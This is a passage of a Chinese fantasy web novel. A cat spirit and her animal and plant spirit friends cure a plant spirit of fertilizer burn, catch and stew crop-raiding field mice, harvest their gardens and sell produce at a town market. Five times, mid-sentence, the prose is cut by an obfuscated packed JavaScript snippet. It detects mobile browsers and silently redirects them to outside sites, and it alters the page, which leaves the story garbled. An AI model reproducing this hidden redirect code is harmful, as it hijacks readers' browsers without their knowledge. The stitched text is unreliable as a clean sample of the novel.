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把板蓝根小妖扶起来,三参这才惊觉她身边有很多......脏东西。 “哇!这些是谁的粑粑?怎么拉这么多?!”三参惊了:“谁干的?!” 菘蓝蔫巴巴的,已经快说不出话来了。 三参一看情况紧急,连忙就地刨坑,把菘蓝连根带土的从粑粑堆里扒拉出来,又捧着她火速往回跑。 “板板你别急,我带你去找衔蝉!她好厉害的,一定能想到办法救你!你再坚持一下!” 菘蓝蔫蔫的应了一声,然后又垂下了叶子。 三参见状急得吱哇乱叫,跑得更快了。 等她捧着好像快要断气的板蓝根小妖回到东坡子洞时,白三姑和衔蝉已经回来好一会了。 还把桃子一并带回来了。 带回来的方式也跟三参带菘蓝差不多,都是连根带土的刨出来,再移栽到菜地旁边。 妖生第一次挪地方的桃子表示很新奇,并且除了路上有点晕乎之外别的都挺好。 也幸亏她不是很大颗,白三姑和衔蝉变作人形把她往肩上一扛就给带回来了。 三参回来的时候,桃子都已经“住”进新地盘了。 白三姑和衔蝉还有小狐狸给她在菜地边挖了很深一个大坑,小心翼翼的把她的根须连着一大团原土一起埋了进去。 “桃子,你感觉怎么样?有没有哪里不舒服?” 小桃树抖了抖枝条,开心答道:“还好啦!就是有点口渴。” 小狐狸马上站起来:“我去给你打水!” 她往仓库一钻,摸出一个崭新的陶罐,冲到河边,给桃子打来了满满一罐子水。 水顺着泥土浸润了桃树根须,桃子惬意的舒展开了枝条:“哇!我感觉好多了!谢谢阿琅!” 小狐狸放下陶罐,腼腆的笑了一下。 正当她想说点什么时,三参的大叫声就由远及近的传来了。 “衔蝉!衔蝉!救命啊!板板要死了!!” 正蹲在桃树下刨土的猫一听,腾的一声站了起来:“怎么了?!我看看!” 白三姑和小狐狸也连忙上前,帮忙接住枝叶都已经软了的板蓝根小妖。 见菘蓝的惨状,众小妖大惊:“板板这是怎么了?!” 但三参却说不出什么缘由,菘蓝自己也快没意识了。 大家连忙给衔蝉让出位置,让她给菘蓝检查身体。 猫保持着人形,翻看了一下板蓝根小妖的枝叶,又从三参的“手”里拨掉一撮泥土,认真看了看菘蓝的根须。 片刻后,衔蝉肯定的说道:“这是烧根了。” 三参着急忙慌的问:“那还有救吗?” 衔蝉点头:“有救,别急!” 她转身招呼大家:“去河边打水来,越多越好,给板板冲洗根须,再挖一个离菜地远一点的深坑!” 一边说,一边上手把板蓝根小妖已经枯黄的叶子揪下来扔掉。 众小妖见猫胸有成竹的样子,便也跟着长舒一口气,连忙照着她的吩咐忙碌起来。 小狐狸跑去远处挖坑,白三姑和三参各拿了一个陶罐,去河边打来了许多水。 衔蝉就用这些水给菘蓝冲洗干净了根须,根须上的泥土也全部冲掉了。 桃子见状担心急了:“衔蝉,这能行吗?我们植物小妖的根不能离开泥土的。” 三参马上挺胸为衔蝉说话:“衔蝉做事肯定有她的道理!而且也不是什么植物小妖都不能离开泥土的。” 比如她自己,不就每天满地乱跑吗? 桃子又道:“可是板板跟你不一样啊!” 三参顿时沉默,对哦,板板好像一直都待在土里不能移动的。 她马上扭头看向衔蝉。 衔蝉已经给菘蓝冲洗掉了根须上的所有泥土,她所有的根系都被洗得白生生的,只有一部分根须底部微微发黑。 看上去就好像被人家挖出来的倒霉药材一样,有一种下一秒就要被送进中药铺子的感觉。 但衔蝉动作不停,伸手掐断了那些发黑的细小根须。 “放心啦,就这一会,不会有问题的。” “等会处理完就会重新给板板埋土里的。” 她这么一说,大家这才放心,便又追问她这么做的缘由。 猫给大家解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370066|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“因为板板肥害烧根啦,就是肥料太多,或者吸收了没有发酵的肥料,根系就被烧坏了。” “给她把根系上沾到的肥土洗干净,再掐掉烧了的根须和枝叶,重新给她挪到没有施过肥的地方就好了。” 所以她才让大家给菘蓝挖坑的时候离菜地远一点。 她们的菜地肥力还是挺足的,并不适合现在肥害烧根的菘蓝。 大家听得云里雾里,不明觉厉。 但猫淡定的态度感染了大家,众小妖很快就冷静下来,帮着衔蝉一起,把板蓝根小妖重新移栽好。 折腾了这么一通后,菘蓝的叶子少了大半,茎秆也缺了一大截,看上去有点秃如其来的。 但她却缓缓的直立起来,抖了抖叶子,终于能说话了。 “真的有用哎!板板醒了!”三参凑过去问:“板板,你现在感觉怎么样?” 板蓝根小妖缓了一口气,还有点懵。 “我感觉好多啦,唔,这是哪里呀?” 三参马上后退一步,把衔蝉推到菘蓝面前:“这里是东坡子洞,这是衔蝉,是她救了你!” 菘蓝伸出两片叶子,蹭了蹭衔蝉的手:“你就是衔蝉呀,谢谢你救了我。” 她的声音细声细气的,猫不由自主的也放轻了声调:“别客气,大家都是好朋友嘛。” 菘蓝的叶子抖了几下,像是在笑:“嗯呐!衔蝉,你和三参说的一样好!我也要和你做朋友!” 猫嘿嘿笑了两声,然后又问起板蓝根小妖,为什么会忽然被烧根? 说到这个,菘蓝就有点不解。 “本来我在地里长得好好的,但前几天,我那边的林子里忽然来了一群地鼠!” “那群地鼠可肥了,它们还想啃我的叶子吃呢!” “本来我可以撵走它们的,但是我想起之前三参跟我说过,你们这边种地好像要用什么肥料。” “三参说骨头和粑粑之类的埋起来就可以做肥料,用了肥料就可以长得好,我就想自己弄点肥料试试。” 因为她住的离东坡子洞有点远嘛,总不能一直靠三参时不时的给她捎点“零食”过去。 27.第 27 章 想要自力更生的板蓝根小妖经过思考之后,并没有驱赶那一群地鼠。 不仅没驱赶,还长出了更多的叶子,给地鼠们吃。 她想的很简单,就是想等地鼠们吃饱了,再拉点粑粑给她做肥料。 反正她和三参一样,只要有灵力就可以不断的长出新叶子,并不像没有成精的普通植物那么脆弱。 所以菘蓝用自己的叶子留下了那群地鼠,也如愿以偿的收到了一地的“肥料”。 地鼠们似乎对她新长出来的叶子格外的喜欢,干脆就围着她生活,吃喝拉撒都在她身边解决。 “可是不知道为什么,那些肥料却跟三参给我的不一样!” 菘蓝心有余悸的说:“刚开始还好,但到了后来我就感觉根和叶子都烫烫的,好难受!” 她不明白缘由,又舍不得放弃这些用了许多叶子才换来的肥料,就咬牙继续忍着。 她当时想,可能是她还没习惯这么富裕的肥料分量吧,她再适应适应就好了。 可没想到,时间越久,她就越难受。 等她反应过来这些“肥料”可能不对的时候,她已经没有力气再动弹了。 到后来,她甚至没有力气再长新叶子出来,那些地鼠便开始啃咬她的主茎,让她伤上加伤。 直到把她啃得快要死掉了,那些地鼠才一抹嘴巴离开。 她也总算保住了最后一口气。 但地鼠走了,它们留下的粑粑却还在持续灼烧着菘蓝的根须,让她越来越虚弱。 要不是三参来得及时,她恐怕就要交待在那了。 菘蓝非常迷茫:“衔蝉,为什么会这样呢?明明三参跟我说过你们也用过粑粑做肥料的。” 衔蝉开智那会,她就带着大家挖了堆肥坑。 坑里不仅埋了大家每天吃剩下的鱼刺鱼骨头,还有猫和小狐狸的便便。 因为猫说了,便便也是一种很好的肥料。 所以从那之后,本来是随意刨坑方便的小狐狸都跟着衔蝉一起在堆肥坑附近埋粑粑。 后来连白三姑也去那里方便了。 之后堆肥坑里埋了很久的便便都消失不见了,只剩下了漆黑松软的土壤,并且闻起来也不怎么臭。 猫就带着大家,把这些用了便便的肥料拿去施肥了。 三参给菘蓝带去的“零食”,也是那些“黑化肥”。 衔蝉一拍大腿:“嗐!板板,你没有发酵呀!没发酵的便便就是会烧根的!” 菘蓝依然迷茫,但不影响她也像小狐狸和三参那样开始崇拜无所不知的猫。 她主动提出:“衔蝉,那你可不可以教我做肥料呀?或者我拿东西跟你们换你们做好的肥料?” 性格有点内向的板蓝根小妖摇动了一下叶子:“我的种子你们还需要吗?” 衔蝉顿时笑出了八颗牙。 “种子暂时不需要啦,但是你可以用别的跟我们换肥料!” 菘蓝:“欸?” 片刻后,猫喜笑颜开,正式宣布,从今天起,大家轮流守菜地! “今天我先守,明天再三姑,阿琅,三参,桃子,板板最后守!” 因为菘蓝现在才刚从肥害里缓过气,需要休息几天。 过几天等她休息好了,大家再把她移栽到菜地里去。 健康状态下的板蓝根小妖,是可以和小桃树一样自由挥舞枝叶的。 除了根须不能随意离开泥土之外,她们的枝叶想怎么动就怎么动。 到时候让她们挥着枝条,就能驱赶在菜地里搞破坏的小贼,运气好的话,说不定还能抓到几个罪魁祸首。 “好!我们都听衔蝉的!”众小妖齐声答道。 站在大石头上的猫点了点头,以身作则的从自己开始守第一天。 在她的安排下,小南峰上的一切又重新恢复了原来的秩序。 菜地有妖守了,浇水施肥做饭喂鸡也有大家各自分工,把工作量分摊开后,每个小妖的修炼时间也不缺了。 而且桃子和板板在吃到热乎的饭菜后,也和三参一样爱上了熟食,很快就跟大家融入到了一块。 就这么过了几天后,衔蝉又和白三姑下了一次山,用仓库里剩下的板蓝根和萝卜干换了些米面粮油回来。 分量不多,但匀着点吃,大家每天都能换换口味。 改善了伙食,小妖们每天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374088|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干劲都更足了。 又过了两天,终于轮到菘蓝守菜地了。 这天从清早开始,她就摒弃了一切杂念,连修炼都不管了,专心的“盯着”菜地。 前几天,菜地里都很平静,但今天入夜后,菘蓝就听到了一阵熟悉的窸窣声。 她立刻警觉起来。 月上中天时,小南峰上其余小妖都已经在月光下睡熟了,忽然一声尖叫划破夜空,惊醒了所有妖。 “我抓到了!” “吱吱吱!!” 菘蓝的声音和吱吱声交杂在一起,把还在晒月亮睡觉的小妖们全都吵醒了。 衔蝉跑得最快,像一支毛绒绒的利箭一样冲向菜地。 “抓到什么了?!”猫跑近一看:“哇!好肥的老鼠!” 被菘蓝用柔韧的枝叶捆起来的肥老鼠不停的扭动着,差点勾起猫的狩猎本能,指甲都弹出来了。 不过衔蝉克制住了捕猎冲动,招呼大家去仓库里拿来了竹笼子把这个可恶的小贼关起来。 小狐狸把用原先的栅栏改造成的竹笼子拿过来,将肥老鼠往里一丢。 菘蓝见状抖了抖叶子,长舒一口气。 “我认得这个家伙!它就是先前来啃我叶子的地鼠里的一个!” 所以新仇旧恨一起涌上来,菘蓝当场就抓获了这只肥地鼠。 衔蝉略微吃惊:“啊?!” 她盯着地鼠仔细看了一会,问道:“它也是妖吗?” 众小妖齐齐摇头:“不是!” 这地鼠身上没有一丝妖气,就是纯粹的野物,它跟妖的区别,比人跟猴子的区别还大。 不管是在小南峰上,还是大岭山,甚至是整个中州大陆上,这种家伙都是不折不扣的猎物。 所有能抓获它们的人或者妖,都可以把它们拿去煲汤或者烧烤。 衔蝉一听,顿时放了心。 不是妖就好! 如果是妖的话,她还得顾及一下能不能吃,但既然是猎物,那就没什么好说的了! 随后猫一拍爪:“既然如此,那我们就炖了它!给板板补补营养!” 大家立刻大声附和:“炖了它!” 28.第 28 章 破坏菜地的罪魁祸首瑟瑟发抖。 因为它真的要被炖了! 猫磨刀霍霍,山上的小妖们都没有经验,所以杀地鼠这活她就当仁不让的接下了。 当初在村里,她看过不少次铲屎官杀鱼杀鸡,甚至杀羊杀猪都看过,早就学了一肚子理论知识,就差实践了。 也得亏她和白三姑先前下山买了正儿八经的刀,不然光用大鸽子细而窄的羽刃还真不好干这活。 衔蝉麻利的磨好刀,拎着地鼠就是一通操作猛如虎。 地鼠被一刀毙命,场面略血~腥,但猫面不改色,手上动作也不停。 小狐狸吸溜着口水,听衔蝉的吩咐拿着碗接地鼠的血,准备待会做成毛血旺,又能多吃两口。 猫三下五除二的把地鼠料理好,切出一大盘肉块来。 “这个皮子也不要丢,等会拿去处理一下,以后可以用来垫窝窝或者拿下山去卖钱!” 三参积极举手:“好!我去把它收起来!” 白三姑变成人形,摸了摸猫的头:“剩下的我来吧,衔蝉,你先歇会。” 猫点点头,重新变成原型,开始舔爪子。 她刚刚杀地鼠,爪子上沾到了血,看着有点埋汰,但闻起来又有点香。 毕竟鼠类本就是猫的主要食谱之一嘛。 衔蝉以前还真在村里抓了不少田鼠呢,不过那时候她衣食无忧,嘴巴也挑,看不上那点野味,就把田鼠分给别的猫和狗子了。 这让她获得了毋庸置疑的老大地位,全村所有的猫猫狗狗都服她。 所以现在穿到了小南峰上,猫也是不自觉的就会承担起做老大的责任。 舔着爪子,猫的思绪逐渐飘远,而后又被田鼠汤的香味拉了回来。 这次的汤里白三姑也加了些素菜——都是被这只田鼠刚啃坏的作物。 一锅荤素搭配的肉汤热腾腾的出锅,把大家都馋得不行。 小狐狸迫不及待的去仓库里把装碗的篮子叼出来,三参拿来了一摞勺子,菘蓝和桃子也期待的刨好了吃饭的小坑。 猫和白三姑一起,给大家分了田鼠汤。 一顿只放了盐的田鼠汤,吃得大家心满意足。 在山上,这已经是难得的好饭了。 第二次吃到肉的小狐狸开心得一直在摇尾巴。 饭后,衔蝉又蹲到大石头上,问:“今天的肉汤好不好吃?” 众小妖齐声回答:“好吃!” 猫又问:“以后还想不想吃?” 大家答:“想!” 猫一拍爪:“好!那我们就继续努力守夜,下次再抓地鼠炖汤!” 大家大声回答:“好!” 简单的给大家开了个激励小会,大家的干劲果然更足了。 接下来的日子,所有小妖都攒足了劲,果真又陆续抓到了好些地鼠。 有了这些地鼠,山上唯二的肉食小妖衔蝉和小狐狸都吃胖了一点。 地鼠皮也攒了十几张。 衔蝉带着大家把地鼠皮上的油脂刮了,又是洗又是晒的,把它们都制成了皮草原料。 只是现在大家还用不上这些地鼠皮,便都丢在了仓库里继续攒着。 要等猫下一次下山去,才能把这些皮子换成钱,再买些好东西回来。 “衔蝉,你们什么时候再下山去呀?” 小狐狸眨巴着眼睛问道。 衔蝉站在菜地边,看了一下作物长势。 自从地鼠被抓没了之后,作物们又恢复了精神,在掺了灵力的肥料的滋养下,一个比一个长得好。 现在她们地里除了有萝卜板蓝根和桃树,还有南瓜,玉米,红薯,土豆。 萝卜和板蓝根都长得很好,已经收获过两茬了。 南瓜玉米红薯土豆生长速度要慢一点,但眼看着也快要成熟了。 让大家惊喜的是,菜地边的桃子树也都结果了。 现在一人多高的小桃树上几乎挂满了果子,数一数,差不多每棵树上都能有至少十来个桃子。 全部加起来,这次起码能收获上百个桃。 这是小妖桃子和大家共同的努力成果。 不过桃子们现在还青着呢,估计还要半个月左右才能转色成熟。 衔蝉:“等桃子和南瓜玉米土豆红薯都熟了,我们再下山!” 猫掰着爪瓣儿美滋滋的数:“到时候我们再做南瓜干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374089|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,红薯干,再带上新鲜的土豆玉米桃子,下山卖钱!” 她都想好这次下山要买什么了。 她要再买点不同的种子回来,还有农具,比如锄头耙子铲子之类的,如果可以的话,她还想买点主食种子。 不管是稻谷还是麦子都可以。 这两种主食大家都能吃,种了不亏。 还要再买点肉回来做成肉干或者腌制成腊肉,这样她们以后就可以随时有肉吃啦! 猫越说越上头,大家也听得一脸振奋。 “好!那等东西都熟了,我们再一起采收,一起做南瓜干和红薯干!” “再编两个大背篓!不然衔蝉和三姑下山的时候东西都装不下!” 说到兴头上,大家马上就要去劈竹子编大背篓。 就连不能挪动位置的桃子和板板也表示,她们也已经学会编东西了! 只要给她们把竹条篾片拿到面前,她们也能拿枝条当手用,编背篓编筐子! 而一向干活最积极,编东西也最拿手的小狐狸这次却没急着动。 她拉着衔蝉,小声问道:“衔蝉,下次你们下山,可不可以也带上我呀?” 她抖了抖耳朵:“我也已经会化形啦!” 衔蝉:“诶?!真的吗!” 小狐狸点点头,然后当着大家的面,摇身一变。 “哇!阿琅!你真的会化形了!” 猫围着小狐狸转了一圈,大声夸赞:“变得真好!” 三参和白三姑也连忙过来围着白衣小女孩边看边夸。 因为这次小狐狸确实变得很好,除了依旧有点矮之外几乎没什么不对的地方了。 白三姑鼓励道:“有点矮也没关系,阿琅现在的样子跟山下的人类小女孩没什么区别,已经可以了。” “是啊,阿琅,你的耳朵和尾巴都没有了!跟真的人一样了!” 三参大声夸完,忽然想起自己近来也有进步。 这段时间大家都吃得好,有油水,三参感觉自己的灵力都更充沛了。 现在看到小狐狸化形化得这么好了,她也忍不住想要展示一下自己的修炼成果。 “快看!我也会变了!” 29.第 29 章 “哇!三参!你也变得很好了!” “没错!已经跟真人一模一样啦!” 听着大家的夸赞,三参叉着腰,笑得见牙不见眼的。 这段时间,在衔蝉和白三姑的影响下,她对人形的了解越来越深刻,这不就变成功了吗? 衔蝉:“好!那下一次下山,我们就一起去吧!” 小狐狸和三参马上欢呼起来:“好耶!” 这一次,小狐狸跑得飞快:“我去拿竹条和篾片编背篓!” 三参也迈开人形的两条腿:“我也去我也去!” 她喜滋滋的说:“我要编一个最大的背篓!” 桃子和菘蓝看着她俩欢快的背影,发出了羡慕的声音:“啊,我们也好想化形哦。” 现在小南峰上只有她俩不能化形了呢。 她们也想像大家一样,化成人形,然后一起下山卖货赚钱,长见识。 可惜她们现在的灵力还不太够,暂时还化不成人形。 白三姑安慰两个植物小妖:“没事的,不着急,慢慢来。” 桃子和菘蓝抖了抖枝叶,像在点头:“嗯呐!” “说起来,我发现我过来之后,灵力攒得比以前快很多了!” 桃子忽然说道:“也许过不了多久我也能化形了!” 以前她攒灵力是很费劲的,光是跟旁边的大树抢养分就需要花费她大半的功夫,说是挣扎求生也不为过。 能开智成精,都纯属运气好。 可开智成精后也没让她的生活变得有多好,反而让她更看清了自己的无力,有时候还挺难过的。 从前桃子曾想过,她为什么要开智呢? 开智成精,就是为了让她更清楚的知道自己活得有多艰难吗?那还不如不开智,不成精呢。 后来认识了小南峰上的小妖朋友们,桃子又觉得,大家互相鼓励着,也勉强能活吧。 但那时候大家也只能在口头上互相鼓励一下,因为大家的生活都是一样的艰难。 直到衔蝉开智。 东坡子洞的生活得到改善后,桃子就时不时的能接受到一些来自朋友们的接济。 白三姑带来的“蛋壳肥”,三参带来的“黑化肥”,以及小狐狸偶尔叼来的骨头肥料,对桃子来说都是不可多得的好东西。 她只是给出了一点桃核,就获得了那么多能让她长得更好的肥料。 本来她以为那就是最好的生活了。 没想到被衔蝉“雇佣”过来之后,生活居然还能变得更好! 跟她抢营养的大树没有了,每天都有足够的肥料,再也不用为生存发愁。 这时候,桃子才终于有余力积攒灵力去修炼了。 这些天她一直在认真修炼,现在已经攒下了很大一团灵力了! 等她再努力攒攒,估计用不了多久就可以尝试化形了! “衔蝉,这都多亏了你们呀!”桃子开心的抖了抖叶子:“等我化形了,我也跟大家一起干活!” 衔蝉看着小桃树抖动着的枝叶,极力克制住想上去扑一扑挠一挠的冲动,用力点了点头。 “嗯呐!桃子,板板,加油!” 这次菘蓝也跟着大声答道:“好的!” * 俗话说山中无岁月,半个月的时光又一闪而逝。 小南峰上,再一次迎来了丰收。 菜地里,萝卜,板蓝根,土豆,玉米,南瓜,红薯,个个都长得精神抖擞,该挂果的挂果,该长根的长根,好一片丰收景象。 菜地旁边,一排不大的桃树上挂满了成熟的桃子,个头不大,但红通通的,香气扑鼻。 衔蝉站在大石头上看了一眼,然后宣布:“好!今天可以采收了!” 众小妖齐齐欢呼一声,顿时转头去仓库,拿筐的拿筐,拿篓的拿篓,还有拿笸箩的拿筛子的...... 随后大家在衔蝉的指挥下,挖萝卜土豆红薯板蓝根,摘南瓜摘玉米摘桃子,忙得热火朝天。 采收的萝卜板蓝根照旧晒干,红薯南瓜也一起煮熟切开晒成干货,土豆玉米则摘好了直接堆进仓库里。 桃子最不耐放,大家小心翼翼的把它们放在了大竹筛里,免得磕着碰着了。 一口气忙活了两天后,猫带着大家清点这次丰收的物资。 “干货一共有三大框,桃子一百三十个,土豆玉米加起来也有两大筐!” 六大框的物资,是小南峰上前所未有的丰收。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378373|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仓库几乎都被堆满了。 衔蝉掰着爪瓣儿数:“留下两筐咱们自己做粮食,再留一些做种子,剩下的四筐带下山去卖钱买东西!” 众小妖大声答道:“好!” 小狐狸迫不及待的搬出了自己的背篓,麻溜的往里面装东西。 因为这一次衔蝉也会带她和三参下山。 三参也噼里啪啦的往自己的大背篓里装东西,看上去也很期待这次的下山之行。 白三姑和衔蝉就很淡定了,跟大家一起装了四个背篓的物资。 她们编的背篓不如仓库里的大筐子那么大,所以装完四背篓后,仓库里还剩下了一筐半准备拿下山卖的物资。 “既然装不下了,那就先放着吧!”衔蝉当场决定道:“咱这次先把背篓的里背下山去卖了!” 反正留下的大多是干货,耐放。 而且这一次少卖一点也没什么,问题不大。 白三姑,三参,小狐狸都变成人形背好了背篓,齐声道:“好!我们都听衔蝉的!” 猫也变成人形,背着满满一背篓物资,跟桃子和板板挥手告别。 “桃子,板板,我们下山去啦!山上就交给你们了哦!” 两个植物小妖忙不迭的挥舞枝条:“没问题!交给我们吧!你们也要注意安全,早点回来喔!” 互相道别后,猫就带着三个小妖往山下走去。 这一路,她和白三姑都已经很熟悉了,因此很淡定。 但头一回下山的三参和小狐狸却激动坏了。 三参还稍微好一点,毕竟她在山上也爱四处乱跑,此时下山路上的景物也大差不差,主要还是心情比较振奋。 但一直生活在东坡子洞里没出过远门的小狐狸却是实打实的第一次下山,路上看什么都觉得新鲜。 尤其是到了山下,看到了人类之后。 她既有些害怕,又忍不住好奇,揪着衔蝉的衣角不停的小声问她问题。 “衔蝉!那是什么呀?” “昂!那是水田。” “那个人身上的是什么呀?” “那是玉佩,哇,还是个有钱人!” “那个呢?” “啊!那是卖糖人的摊子!” 30.第 30 章 带着大家进城后,衔蝉从兜里摸出上次赶集仅剩下的两个铜板儿,买了根最便宜的糖人。 “喏,尝尝!”她把糖人掰开,分给大家一人一块。 小狐狸拿着四分之一块糖人,小心翼翼的舔了一口,眼睛就亮了:“这个好甜!” 三参也舔了一口,然后咔嚓一声,把整块糖块塞在嘴里嚼碎。 “唔!全部放在一起嚼更甜!好次!” 小狐狸低头看了看自己那一小块糖人,终究还是没舍得像三参一样一口吃完。 她很珍惜的捧着糖块,一边小口小口的舔着,一边跟着衔蝉找地方卖货。 一到人类镇子上就又浑身不自在的白三姑默默地叼着糖块牵着两个小妖,走在衔蝉身后。 猫在最前面开路,像泥鳅一样在人群里窜来窜去。 很快,她就找到了好地方。 不过那里已经有个大娘摆开了一张小摊子了,占的位置还挺大。 但猫熟门熟路的走过去朝她一招手:“苗大娘!” 原来是她们第一次下山时遇到的大娘。 衔蝉第二次下山又遇到了她,然后健谈的猫就跟苗大娘聊得几乎快要结拜了。 苗大娘一见衔蝉,也笑呵呵的招手:“衔蝉啊!你们可算又来了!快过来,我这里还能给你们挤个空位置呢。” 说着,她把自己的摊子往旁边挪了挪,挪出一小块空地来。 衔蝉也不推辞,走过去就把背篓放下,然后掏出几张大叶子往地上一铺,就开始掏山货出来摆摊了。 旁边的苗大娘摊子早摆好了,这会还帮衔蝉摆东西呢。 “上次和上上次我来大集,都没遇着你们,你们也有些日子没来了吧?” 衔蝉点头:“嗯啊,我们住得远,家里种的东西也不多,所以不能次次都来。” 苗大娘闻言便有点心疼,在自己摊子上抓了一大把豆子给猫。 “吃早饭没有?来垫一垫,我自家炒的黄豆,可香呢。” 把香喷喷的炒豆塞进猫手里,苗大娘又问:“你姑怎么还是那么害羞?她牵着那俩小娃娃是谁?你妹妹?” 衔蝉大大方方的点头,给苗大娘介绍:“嗯呐!这是我妹妹胡琅,三参。” 把两个白衣小女孩从白三姑身后牵出来:“阿琅,三参,这是苗大娘,快喊人。” 白衣绿裳的三参脆生生的喊:“大娘!” 苗大娘顿时笑弯了眼睛,又抓一把炒豆给三参。 三参喜滋滋的接了。 小狐狸第一次面对这种情况,怯生生的抓着衔蝉的衣角,但也乖乖的喊了一声大娘。 大娘又笑:“这娃娃还认生嘞!” 再抓一把炒豆。 散了一圈炒豆,衔蝉也回礼了两把红薯干,两把南瓜干。 两边就乐呵呵的聊上了,要是遇着有人在摊子前驻足,她们还互相帮忙吆喝呢。 三参胆子大,不多时就学着衔蝉和苗大娘一般,大声吆喝起来。 “卖山货咧!上好的山货!走过路过不要错过!” 苗大娘悄悄地朝衔蝉竖起大拇指:“你这妹妹中气足,像你!” 衔蝉嘿嘿直乐。 而她和三参背后,白三姑和小狐狸蹲在那,跟两朵蘑菇似的。 但白三姑是真的怕遇到降妖师,每次来大集几乎都不怎么敢吭声,小狐狸却多多少少有些好奇。 她一边装蘑菇,一边从衔蝉的咯吱窝缝隙里偷瞄来往的行人。 有时候遇到有人在摊子前买货,她还帮衔蝉递大叶子,好把客人买的山货包起来。 没人来买货,衔蝉和三参又忙着跟苗大娘聊天时,她就蹲在后面,含一口糖人,嚼一颗炒豆。 不过她嚼豆子的动静也小,是先含软了再吃,没什么声。 前头衔蝉和三参吆喝得起劲,很快就陆陆续续卖出一些山货。 地鼠皮子也卖出去几张。 小摊子上的东西眼看着渐渐变少,快要见底了,衔蝉往后一伸手,小狐狸马上递一个背篓给她。 又一背篓山货倒出来,摆满了不大的摊子。 第二背篓山货倒出来后,摊子上来了几个熟客。 “啊哟,小老板,前些天赶集怎么没见你来?” 有熟客一来就指着摊子上的东西让打包:“这集上的山货我吃遍了,就你家的味道最好!” 所以她心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16386177|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心念念的来找这个小摊子,别家的愣是没多看一眼。 只是先前的大集她都没找到衔蝉,只能遗憾而归。 这次好不容易又看她来摆摊了,连忙就来她这里买山货了。 衔蝉笑嘻嘻的一边给客人装东西,一边说:“嗨呀,还得多谢大家捧场!” 说着还多给客人抓两把干货,让客人也跟着笑了起来。 “你这小老板还是那么实诚!” 招呼着送走这个熟客,猫都来不及吃两口零嘴儿,就又有熟客来了。 萧慧蹲在小摊子前,感慨:“小老板,你可真难找啊。” 衔蝉歪头:“客人一直在找我们摊子吗?多谢你记着呀,不过我们家里种的东西不多,所以都是攒多了再来集上的。” 萧慧点点头,她也看出来了。 所以前几次来大集上找人,没找到,她也没气馁。 她只是每次大集都会来转一圈,就等着衔蝉又来。 上一次衔蝉下山摆摊带的东西不多,还不等她找过来,山货就卖完了,衔蝉也回去了,刚好就错过了。 幸而这次总算是碰上了。 萧慧指着摊子上的两样东西:“板蓝根都给我包起来吧,萝卜干还有吗,有的话我都要了。” 衔蝉还没说话,三参却一下子跳了起来。 猫眼疾手快的捂住了三参的嘴,“嘘”了一声,并把她往身后一塞。 白三姑默契的拉住三参,不让她出声。 三参:“......” 三参瞪着眼睛,气鼓鼓的塞了一嘴炒豆嚼得嘎吱作响。 萧慧被这场面逗笑,但也没深究。 在猫忙着打包板蓝根和萝卜干的时候,她状似无意的问道:“对了,小老板,跟你打听个事。” “你这几次来摆摊,有没有遇到买过一大包板蓝根的客人?” 她比划了一下:“差不多这么大一包。” 衔蝉眨巴了一下眼睛,忽然想起了什么。 猫一脸诚实的点了点头。 萧慧顿时来了精神,又问:“你还记得是谁吗?” 衔蝉看了她一眼,然后伸出一根手指头,往萧慧胸口一指。 31.第 31 章 “......” 本来以为能打听到什么的萧慧沉默了。 “不是我,除了我以外,还有人大包大包的买板蓝根吗?”她重新问道。 